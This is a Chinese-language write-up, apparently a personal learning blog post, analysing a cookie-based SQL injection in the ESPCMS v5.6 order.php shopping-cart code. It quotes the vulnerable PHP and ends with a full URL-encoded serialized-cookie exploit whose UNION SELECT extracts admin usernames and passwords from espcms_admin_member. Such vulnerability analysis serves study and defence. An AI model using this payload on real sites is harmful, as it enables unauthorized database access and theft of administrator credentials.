ESPCMS_v5.6版本cookie注入漏洞

易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。3月15日ESPCMS爆出安全漏洞,可通过cookies注入获取数据库信息。一直很少关注cookies注入这个方面,这次就为自己补充一下知识吧。

测试版本:espcms_utf8_5.6.13.03.11_b (测试版)

公布日期:2013-03-15

漏洞出处:/interface/order.php 

function in_list() {
    parent::start_pagetemplate();
    $lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
    $cartid = $this->fun->accept('ecisp_order_list', 'C');  //接收cookies[‘ecisp_order_list’]
    $cartid = stripslashes(htmlspecialchars_decode($cartid));
    $uncartid = !empty($cartid) ? unserialize($cartid) : 0;     //$cartid有特殊的格式要求
    if ($uncartid && is_array($uncartid)) {
        $didarray = $this->fun->key_array_name($uncartid, 'did', 'amount');
        $didlist = $this->fun->format_array_text(array_keys($didarray), ',');
        if (!empty($didlist)) {
            $db_table = db_prefix . 'document';
            $db_where = "isclass=1 AND isorder=1 AND did in($didlist) ORDER BY did DESC";
            $sql="SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,color,author,source,pic,link,oprice,bprice,click,addtime,template,filename,filepath FROM $db_table WHERE $db_where";   //动态构造sql语句
            $rs = $this->db->query($sql);       //直接带入查询

in_list函数直接获取cookies[‘ecisp_order_list’]的值,没有经过过滤,直接被用来构造了sql语句,并带入了查询。所以此处形成了一个cookie注入。

注入思路:

在sql查询之前,‘ecisp_order_list’的值经过htmlspecialchars_decode()、stripslashes()、unserialize()、key_array_name()、array_keys()、format_array_text()这几个函数。首先分别认识一下各个函数的作用。

htmlspecialchars_decode(string,quotestyle):把一些预定义的 HTML 实体转换为字符。

stripslashes(string):删除由 addslashes() 函数添加的反斜杠。

unserialize(string):对单一的已序列化的变量进行操作,将其转换回 PHP 的值。

array_keys(array,value):返回包含数组中所有键名的一个新数组。

unserialize()、key_array_name()和format_array_text()这三个函数貌似木有找到具体介绍。。

最终我们要利用的功能是购物车,所以首先正常浏览一下网页,然后添加一到两件商品,点击“查看购物车”,这时候ecisp_order_list的值是:

a%3A1%3A%7Bs%3A3%3A%22k26%22%3Ba%3A2%3A%7Bs%3A3%3A%22did%22%3Bi%3A26%3Bs%3A6%3A%22amount%22%3Bi%3A1%3B%7D%7D

这是一串经过url转码的字符,把它恢复为原来的样子:

a:1:{s:3:"k26";a:2:{s:3:"did";i:26;s:6:"amount";i:1;}}

接下来修改一下order.php文件,让它返回一下$didlist变量的内容: 1

返回结果是“26”。但在ecisp_order_list中有两个“26”,尝试把后面的“26”改为“27”,结果返回值也变为了“27”,同时购物车里面的内容也发生了变化。

2

这里分析可得,这个“26”就是购物车内商品的did值。整个sql语句应该是这样子的:

SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle, color,author,source,pic,link,oprice,bprice,click,addtime,template,filename,filepath FROM espcms_document WHERE isclass=1 AND isorder=1 AND did in(26) ORDER BY did DESC

本来以为这里就是注入的地方,把sql语句直接插进去,结果购物车直接被清空了= =

看了一下大神构造的exp,发现要在ecisp_order_list里面增加一点东西。

s:159:"";

尝试单独把它插进去,购物车又被清空了。看来上面这段的作用暂时不明。

 最终的exp是这样的:

a%3a1%3a%7bs%3a3%3a%22k23%22%3ba%3a2%3a%7bs%3a3%3a%22did%22%3b<span style="color: #0000ff;">s%3a159%3a%22</span><span style="color: #ff0000;">24)+and+1%3d2+union+select+1%2c2%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10%2c11%2c12%2c13%2c14%2c15%2c16%2cpassword%2cusername%2c19%2c20%2c21%2c22%2c23%2c24%2c25%2c26%2c27%2c28%2c29%2c30%2c31+from+espcms_admin_member+where+1+in+(1</span><span style="color: #0000ff;">%22%3b</span>s%3a6%3a%22amount%22%3bi%3a1%3b%7d%7d

3

« 返回